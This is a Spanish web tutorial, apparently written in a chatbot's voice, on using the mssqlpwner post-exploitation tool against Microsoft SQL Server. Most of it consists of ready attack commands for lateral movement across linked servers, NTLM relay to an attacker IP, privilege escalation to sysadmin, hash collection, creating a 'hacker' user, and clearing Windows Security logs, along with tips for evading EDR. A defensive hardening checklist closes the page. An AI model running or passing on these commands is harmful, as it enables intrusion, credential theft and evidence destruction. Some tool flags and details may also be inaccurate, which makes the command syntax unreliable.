Mssqlpwner: Kali Linux Post-Explotación MSSQL

https://www.onlinetis.com/es/

Mssqlpwner: Kali Linux Post-Explotación MSSQL

Entiendo que estás buscando información sobre cómo usar mssqlpwner en Kali Linux. Esta es una herramienta de post-explotación muy potente diseñada para interactuar con servidores MSSQL (Microsoft SQL Server) cuando ya tienes unas credenciales o un pie dentro de la red.

Aquí tienes una guía rápida y clara sobre qué es, cómo instalarla y cómo usarla.

¿Qué es mssqlpwner?

Es una herramienta basada en Python que permite automatizar ataques y movimientos laterales en entornos de SQL Server. Su gran ventaja es que no solo ejecuta consultas, sino que puede escalar privilegios y explorar enlaces de bases de datos (links) de forma recursiva.

Capacidades principales:

Enumeración: Obtener información del servidor y usuarios.
NTLM Relaying: Útil para capturar hashes.
Ejecución de comandos: Mediante xp_cmdshell o sp_oacreate.
Movimiento lateral: Salta de un servidor a otro si están vinculados.

Instalación en Kali Linux

Como la mayoría de las herramientas modernas de Python, lo ideal es instalarla desde su repositorio oficial o mediante pip.

Bash
# Clonar el repositorio
git clone https://github.com/mvelazc0/mssqlpwner.git
cd mssqlpwner

# Instalar dependencias
pip3 install -r requirements.txt

Uso básico y ejemplos

La sintaxis es similar a otras herramientas de Impacket. Aquí tienes los comandos más comunes:

1. Enumeración básica

Para ver qué privilegios tienes y qué enlaces existen:

Bash

python3 mssqlpwner.py workgroup/usuario:password@192.168.1.50 -windows-auth enumerate

2. Ejecución de comandos (RCE)

Si el usuario tiene permisos suficientes (o si la herramienta logra escalarlos), puedes ejecutar comandos en el sistema operativo:

Bash
python3 mssqlpwner.py workgroup/usuario:password@192.168.1.50 -windows-auth exec -command "whoami"

3. Ataque recursivo a enlaces (Links)

Esta es la función estrella. Si el Servidor A tiene un enlace al Servidor B, y tú solo tienes acceso al A, mssqlpwner intentará ejecutar comandos en el B a través de la conexión:

Bash

python3 mssqlpwner.py workgroup/usuario:password@192.168.1.50 -windows-auth -link-depth 2 enumerate

Opciones que debes conocer

Parámetro	Descripción
`-windows-auth`	Usa autenticación de Windows (Kerberos/NTLM).
`-no-pass`	Para usar cuando tienes un hash (Pass-the-Hash).
`-link-depth`	Define cuántos "saltos" entre servidores vinculados quieres dar.
`-chain`	Intenta encadenar ataques para obtener privilegios de `sysadmin`.

Nota de seguridad: Recuerda usar esta herramienta solo en entornos controlados o auditorías autorizadas. Jugar con xp_cmdshell puede dejar huellas obvias en los logs del servidor si no tienes cuidado.

Para ayudarte a generar el comando exacto, vamos a plantear un escenario muy común en auditorías de Active Directory: El salto por servidores vinculados (Linked Servers).

Imagina que tienes las credenciales de un usuario normal que solo tiene acceso a una base de datos de "Lectura", pero ese servidor SQL está conectado a otro servidor que corre como sysadmin.

Escenario: De Usuario Normal a System mediante Links

Tu IP de atacante: 10.10.14.5
IP del SQL Server: 192.168.1.100
Dominio: CORP.local
Usuario: pedro.perez
Contraseña: P@ssword123

El comando ideal sería:

Bash

python3 mssqlpwner.py CORP/pedro.perez:P@ssword123@192.168.1.100 -windows-auth -link-depth 2 -chain -command "whoami"

Desglose de qué hace cada parte:

CORP/pedro.perez:P@ssword123@192.168.1.100: Define el usuario, dominio, clave y el objetivo inicial.
-windows-auth: Indica que estamos usando autenticación de Windows (común en entornos corporativos).
-link-depth 2: Le dice a la herramienta: "Si este servidor tiene enlaces a otros servidores, búscalos, y si esos tienen enlaces a un tercer servidor, también".
-chain: Esta es la opción "mágica". Intenta encontrar una ruta de confianza donde puedas escalar privilegios automáticamente para convertirte en sysadmin.
-command "whoami": Una vez que logre el acceso o el salto, ejecutará ese comando para confirmarte con qué privilegios quedaste en el sistema operativo.

¿Qué pasa si no quieres ejecutar comandos aún?

Si solo quieres "mapear" la red para ver qué servidores están conectados entre sí sin hacer ruido, usa el modo interactive:

Bash

python3 mssqlpwner.py CORP/pedro.perez:P@ssword123@192.168.1.100 -windows-auth interactive

Esto te abrirá una consola propia de la herramienta donde puedes escribir enumerate y ver visualmente el árbol de conexiones.

El ataque de NTLM Relaying con mssqlpwner es una de las técnicas más sutiles para obtener acceso cuando no tienes una contraseña válida, pero sí has logrado interceptar tráfico en la red.

En este escenario, forzamos al servidor SQL a que se autentique contra nuestra máquina atacante. Nosotros capturamos esa autenticación y la "retransmitimos" a otro objetivo para ganar acceso.

Escenario: Forzar autenticación (Infiltración)

Tu IP (Atacante): 10.10.14.5
IP del SQL Server (Víctima): 192.168.1.100
Usuario/Hash que ya tienes: CORP/admin_sql:hash_ntlm (Suponiendo que ya tienes el hash).

El comando para forzar la autenticación:

Bash

python3 mssqlpwner.py CORP/admin_sql@192.168.1.100 -hashes :<tu_hash_aqui> -windows-auth ntlm-relay -smb-server 10.10.14.5

¿Cómo funciona este proceso?

El Disparador: Al ejecutar el comando, mssqlpwner utiliza procedimientos almacenados (como xp_dirtree o xp_fileexist) para intentar leer un archivo en tu máquina atacante (10.10.14.5).
El Intento de Conexión: El servidor SQL, al intentar acceder a tu "recurso compartido", enviará sus credenciales cifradas (Hash NTLMv2).
La Captura: En tu máquina atacante, deberías tener otra herramienta como ntlmrelayx.py (de Impacket) escuchando para recibir ese hash y usarlo contra otro servidor de la red.

Preparación del "Escritorio" en Kali

Para que este comando tenga éxito, necesitas abrir dos pestañas en tu terminal de Kali:

Pestaña 1 (El Receptor): Prepara el relay para que, cuando llegue el hash, intente volcar la base de datos de otro servidor.
Bash
```
impacket-ntlmrelayx -t mssql://192.168.1.101 -smb2support
```
Pestaña 2 (El Atacante con mssqlpwner): Ejecutas el comando que te pasé arriba para "empujar" al servidor .100 a que se conecte a ti.

¿Por qué es tan efectivo?

Porque muchas veces los administradores bloquean el acceso directo, pero permiten que el servicio de SQL Server se comunique con la red para realizar backups o leer archivos compartidos. mssqlpwner automatiza la parte más tediosa: encontrar qué procedimiento almacenado está habilitado para realizar esa conexión saliente.

Escalar a sysadmin es el "santo grial" cuando auditas un SQL Server, ya que te da control total sobre la instancia y, muy probablemente, sobre el sistema operativo subyacente.

mssqlpwner brilla aquí porque automatiza ataques que manualmente requerirían muchas líneas de SQL. El comando más efectivo para esto utiliza el módulo privesc (Privilege Escalation).

Escenario: De "Usuario de Aplicación" a "Administrador Total"

Supongamos que tu usuario web_user tiene permisos limitados, pero el servicio de SQL Server se está ejecutando con una cuenta con más privilegios (como sa o una cuenta de servicio de dominio).

El comando de escalada automática:

Bash

python3 mssqlpwner.py CORP/web_user:Password123@192.168.1.100 -windows-auth privesc -heuristic-level 3

¿Qué está haciendo el parámetro `-heuristic-level 3`?

Este es el "cerebro" de la herramienta. Intentará tres niveles de profundidad para encontrar una vulnerabilidad:

Nivel 1 (Directo): Revisa si el usuario actual ya tiene permisos para habilitar xp_cmdshell.
Nivel 2 (Implantación/Impersonation): Busca si tu usuario tiene el permiso IMPERSONATE sobre otros usuarios (como el sa). Si lo encuentra, "se disfraza" de ese usuario para ejecutar comandos.
Nivel 3 (Cadenas de confianza): Verifica si el servidor tiene habilitada la propiedad TRUSTWORTHY en alguna base de datos, lo que permite ejecutar código malicioso que escale hasta el nivel de sistema.

Una vez que eres sysadmin... ¿Qué sigue?

Si la escalada tiene éxito, lo normal es querer extraer los hashes de las contraseñas de todos los demás usuarios de la base de datos. Para eso, después de escalar, puedes lanzar:

Bash

python3 mssqlpwner.py CORP/web_user:Password123@192.168.1.100 -windows-auth collect-hashes

Tip de experto: Si el servidor está en una red muy protegida, mssqlpwner puede intentar usar sp_oacreate en lugar de xp_cmdshell. Es un método más antiguo y a veces menos monitoreado por los antivirus (EDR) para ejecutar comandos en Windows.

Resumen de tu "Kit de Supervivencia" con mssqlpwner:

Objetivo	Comando Clave
Explorar la red	`enumerate -link-depth 3`
Ganar control total	`privesc -heuristic-level 3`
Ejecutar comandos OS	`exec -command "net user hacker /add"`
Robar credenciales	`ntlm-relay -smb-server <tu_IP>`

Esta es la parte que separa a un principiante de un profesional. En auditorías reales, el "Post-Explotación" incluye dejar el sistema tal como lo encontraste. SQL Server es muy "chismoso": registra casi todo en el Event Viewer de Windows y en sus propios Error Logs.

mssqlpwner tiene algunas funciones integradas, pero la limpieza suele requerir comandos manuales a través de la shell que hayas conseguido. Aquí te explico cómo cubrir tus huellas paso a paso.

1. Deshabilitar lo que habilitaste (Limpieza de Configuración)

Si para atacar tuviste que activar xp_cmdshell o Ole Automation Procedures (sp_OACreate), lo más ético y profesional es volver a cerrarlos.

El comando para revertir cambios:

Bash
python3 mssqlpwner.py CORP/usuario:password@192.168.1.100 -windows-auth exec -command "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 0; RECONFIGURE; sp_configure 'show advanced options', 0; RECONFIGURE;"

2. Borrar el Historial de Comandos de SQL

SQL Server guarda un registro de las consultas ejecutadas en la memoria caché. Puedes intentar "limpiar" esa memoria (aunque esto puede afectar el rendimiento, así que úsalo con precaución):

SQL

-- Esto limpia el caché de planes de ejecución (borra rastro de tus queries)
DBCC FREEPROCCACHE;
GO

3. Limpieza de Logs de Windows (Event Viewer)

Si ejecutaste comandos del sistema operativo (net user, whoami, etc.), esos eventos quedaron grabados en el log de Seguridad de Windows (ID 4688).

Si tienes privilegios de SYSTEM (que probablemente conseguiste con el privesc), puedes usar wevtutil a través de mssqlpwner:

Bash
# Borrar el log de Seguridad (¡Cuidado! Esto es muy sospechoso porque deja el log vacío)
python3 mssqlpwner.py ... exec -command "wevtutil cl Security"

# Borrar el log de Aplicación (donde SQL Server escribe sus errores)
python3 mssqlpwner.py ... exec -command "wevtutil cl Application"

Consejo Pro: En lugar de borrar todo el log (que grita "¡Me han hackeado!"), los profesionales suelen buscar y borrar solo las líneas que contienen su IP o su nombre de usuario, aunque esto requiere herramientas más avanzadas como Invoke-Phant0m.

4. Eliminar usuarios temporales

Si creaste un usuario para mantener persistencia, no olvides borrarlo:

En la base de datos: DROP LOGIN [nombre_usuario];
En el sistema operativo: net user [nombre_usuario] /delete

5. El rastro de mssqlpwner

mssqlpwner es bastante limpio porque no suele subir archivos al servidor (usa comandos directos a la memoria del proceso SQL). Sin embargo, si usaste la opción de NTLM Relay, recuerda que el servidor víctima intentó conectarse a tu IP. Esa conexión fallida o exitosa aparecerá en los logs de red del firewall.

Tabla de "Huellas" comunes:

Acción realizada	Rastro dejado	Cómo mitigarlo
Escalación de privilegios	Evento ID 4672 (Privilegios especiales asignados)	Difícil de borrar sin limpiar todo el log.
Uso de xp_cmdshell	ErrorLog de SQL: "Configuration option 'xp_cmdshell' changed"	Ejecutar el comando inverso al terminar.
Movimiento lateral (Links)	Auditoría de inicio de sesión en el servidor remoto	Usar credenciales legítimas si es posible.

Entender cómo te detectan es la mejor forma de volverte un atacante más "invisible" (o un defensor más eficaz). Cuando usas mssqlpwner, dejas un rastro digital que los equipos de Blue Team (Defensa) buscan activamente.

Aquí te detallo las 3 alarmas principales que disparas y cómo se ven desde el otro lado:

1. El "Chivatazo" de la Configuración (`xp_cmdshell`)

Cada vez que la herramienta habilita xp_cmdshell para ejecutar un comando, SQL Server genera un evento automático.

Lo que ve el defensor: Un log de auditoría que dice: “Configuration option 'xp_cmdshell' changed from 0 to 1”.
La Alarma: Si esto ocurre fuera de una ventana de mantenimiento, es un 99% de probabilidad de compromiso.

2. Ejecución de Procesos Sospechosos

Cuando logras el RCE (Remote Code Execution), el proceso sqlservr.exe se convierte en el "padre" de otros procesos.

Lo que ve el EDR (Antivirus Avanzado): Un árbol de procesos extraño:
- sqlservr.exe -> lanza -> cmd.exe -> lanza -> whoami.exe
Por qué es sospechoso: Normalmente, un servidor de base de datos no necesita ejecutar una consola de comandos (cmd) ni consultar quién es el usuario actual. Los defensores usan reglas de Sigma o YARA para detectar este comportamiento exacto.

3. Movimiento Lateral por Enlaces (Linked Servers)

mssqlpwner destaca por saltar entre servidores. Esto genera un rastro de red y de autenticación.

Lo que ve el SIEM (Central de Logs):
1. Inicio de sesión exitoso del Usuario A en el Servidor 1.
2. Inmediatamente, el Servidor 1 intenta conectar al Servidor 2 usando una cuenta vinculada.
3. Ejecución de consultas administrativas desde una IP que no es la del Administrador de DBAs.

Cómo mitigar la detección (Consejos de "Red Team")

Si estás en una auditoría y quieres ser más sigiloso, intenta estas tácticas:

Usa sp_OACreate en lugar de xp_cmdshell: Es un método más antiguo para ejecutar comandos que a veces no está tan monitorizado como el famoso cmdshell.
Evita comandos obvios: En lugar de whoami o net user, que son "palabras prohibidas" para muchos EDR, intenta leer archivos de configuración directamente con consultas SQL si es posible.
No escales si no es necesario: A veces, los datos que buscas ya están accesibles con el usuario que tienes. Escalar a sysadmin es como encender una bengala en una habitación oscura.

Resumen para el Defensor (Hardening)

Si lo que quieres es proteger tu servidor contra herramientas como mssqlpwner:

Deshabilita TRUSTWORTHY en todas las bases de datos.
Elimina los Linked Servers que no sean estrictamente necesarios.
Usa cuentas de servicio con privilegios mínimos (que el servicio de SQL no sea Administrador del Dominio).

Para blindar un servidor MSSQL contra herramientas de post-explotación como mssqlpwner, la estrategia debe ser de defensa en capas. No basta con una contraseña fuerte; hay que limitar qué puede hacer el servicio si alguien logra entrar.

Aquí tienes una Lista de Verificación (Checklist) para administradores y auditores (Blue Team):

🛡️ Checklist: Hardening contra mssqlpwner

1. Configuración de la Instancia (Superficie de Ataque)

[ ] Deshabilitar xp_cmdshell: Es la vía principal de RCE. Asegúrate de que esté en 0 en sp_configure.
[ ] Deshabilitar Ole Automation Procedures: Bloquea el uso de sp_OACreate, la alternativa silenciosa a cmdshell.
[ ] Deshabilitar Ad Hoc Distributed Queries: Evita que un atacante conecte tu servidor a uno malicioso externo fácilmente.
[ ] Apagar el servicio SQL Browser: Si no es estrictamente necesario, oculta la instancia de escaneos de red básicos (puerto UDP 1434).

2. Gestión de Privilegios (El Corazón del Ataque)

[ ] Principio de Menor Privilegio: El servicio de SQL Server NUNCA debe ejecutarse como LocalSystem o Domain Admin. Usa una GMSA (Group Managed Service Account).
[ ] Revisar el permiso IMPERSONATE: Audita quién puede "disfrazarse" de sa.
- Consulta: SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
[ ] Desactivar TRUSTWORTHY: Por defecto, debe estar en OFF. Si una DB es Trustworthy y el dueño es sa, cualquier usuario con permisos de db_owner en esa DB puede escalar a sysadmin.

3. Servidores Vinculados (Linked Servers)

[ ] Eliminar links innecesarios: Si el Servidor A no necesita hablar con el B, borra la conexión.
[ ] Evitar Context Mimicry: No configures links con la opción "Be made using this security context" (usando credenciales fijas de sysadmin). Usa mapeos específicos.
[ ] Auditar conexiones salientes: Configura el firewall para que el servidor SQL no pueda iniciar conexiones hacia IPs desconocidas (esto rompe el ataque de NTLM Relay).

4. Monitoreo y Detección (Alertas Tempranas)

[ ] Auditoría de Inicios de Sesión: Alertar sobre fallos de login masivos (fuerza bruta) o logins desde IPs inusuales.
[ ] Telemetría de Procesos (EDR): Configurar una alerta si sqlservr.exe genera procesos hijos como cmd.exe, powershell.exe, whoami.exe o net.exe.
[ ] Honey-Links: Crear un servidor vinculado falso que apunte a una IP controlada. Si alguien intenta enumerarlo, sabrás que tienes un atacante dentro.

El "Golden Tip" para Defensores

Si quieres dormir tranquilo, la medida más efectiva es aislar el servidor. Un servidor de base de datos solo debería hablar con la capa de aplicación y con el servidor de backups. Si un usuario (o un atacante) no puede llegar al puerto 1433 desde su estación de trabajo, mssqlpwner ni siquiera podrá empezar a trabajar.